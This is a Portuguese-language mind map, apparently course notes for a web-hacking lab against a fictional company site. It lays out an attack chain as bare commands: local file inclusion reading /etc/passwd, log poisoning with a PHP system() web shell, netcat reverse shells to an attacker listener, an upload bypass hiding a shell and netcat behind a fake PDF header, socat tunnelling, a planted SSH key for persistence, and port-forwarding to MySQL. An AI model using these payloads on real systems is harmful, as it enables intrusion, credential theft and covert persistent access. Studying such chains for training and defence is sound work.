GoConqr has a new look! Let us know what you think.

Mind map

Web Hacking Parte 1

Leonardo Pompeia Portuguese

Map content

Web Hacking Parte 1

  1. Formulários Web

    • GET
      • URL
    • POST
      • Tamper Data Burp Suite
  2. LFI/RFI Local/Remote File Include

    • LFI
      • Vulnerabilidade (Programador)
        • ($_GET["page"])
      • Constatando Vulnerabilidade
        • rh.businesscorp.com.br/index.php?page=qualquercoisa
          • Warning: Include(qualquercoisa.php): failed to open stream
      • Explorando
        • rh.businesscorp.com.br/index.php?page=/../../etc/passwd%00
          • Retorna o passwd do servidor.
    • RFI
      • Explorando
        • rh.businesscorp.com.br/index.php?page=http://siteattack.com.br
  3. Command Execution (Pós LFI)

    • Identificando arquivos logs servidor
      • rh.grandbusinesscorp.com.br/index.php?page=/../../var/log/apache2/access.log%00
        • Lista Logs
    • Enviando comando shell
      • nc -v rh.businesscorp.com.br 80; <?php system($_GET['cmd']); ?>
        • Retorna Bad Request
    • Obtendo conexão reversa
      • Atacante: nc -vnlp 443 Alvo: rh.grandbusinesscorp.com.br/index.php?cmd=nc <ip_alvo> 443 -e /bin/bash&page=/../../var/log/apache2/access.log%00
        • Obtem Conexão ao alvo
  4. Bypass File Upload

    • Alterar cabeçalho shell.php (Primeira Linha)
      • %PDF-1.3
    • Interagindo com a Shell
      • rh.businesscorp.com.br/index.php?page=uploads/shell.pdf%00&cmd= ls -la
    • Checando tipo arquivo
      • file arquivo.ext
  5. Enviando Netcat via PDF

    • COPIANDO NETCAT PARA DIRETORIO
      • cp /bin/nc .
    • CRIANDO ARQUIVO HEAD
      • %PDF-1.3
    • JUNÇÃO HEAD E NETCAT
      • cat header nc > nc.pdf
    • EXECUTANDO NETCAT
      • Vitima: rh.businesscorp.com.br/index.php?page=uploads/shell.pdf%00&cmd=nc <ip_alvo> 443 -e /bin/bash
      • Atacante: nc -vnlp 443
  6. TUNELAMENTO COM SOCAT

    • REDIRECIONANDO SERVIÇO ALVO(22 TO 2222)
      • Atacante => socat TCP4-LISTEN:8443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
      • Alvo => socat TCP4:<ip_alvo>:8443 TCP4:127.0.0.1:22
  7. ACESSO SSH SEM SENHA

    • GERANDO CHAVE SSH (ATACANTE)
      • ssh-keygen -P "" -f desec
    • CRIANDO DIRETÓRIO SSH (VITIMA)
      • mkdir ~www-data/.ssh/
    • COPIANDO CHAVE PUB PARA ALVO (VITMA)
      • echo "<chave_gerada>" >> ~/.ssh/authorized_keys
    • CONECTANDO-SE AO SERVIÇO (ATACANTE)
      • ssh www-data@127.0.0.1 -p 2222 -i desec
  8. REDIRECIONANDO COM SSH

    • EFETUANDO REDIRECIONANDO
      • ssh www-data@127.0.0.1 -p 2222 -i desec -L 3333:127.0.0.1:3306
    • CONECTANDO-SE
      • mysql -h 127.0.0.1 -P 3333 -u root -p

Information

Description
Mind Map on Web Hacking Parte 1, created by Leonardo Pompeia on 27/11/2019.
Views
2
Rating

More on Ataques a aplicações web

Feedback

What is it about?

What do you think of the new look?

How do you like it?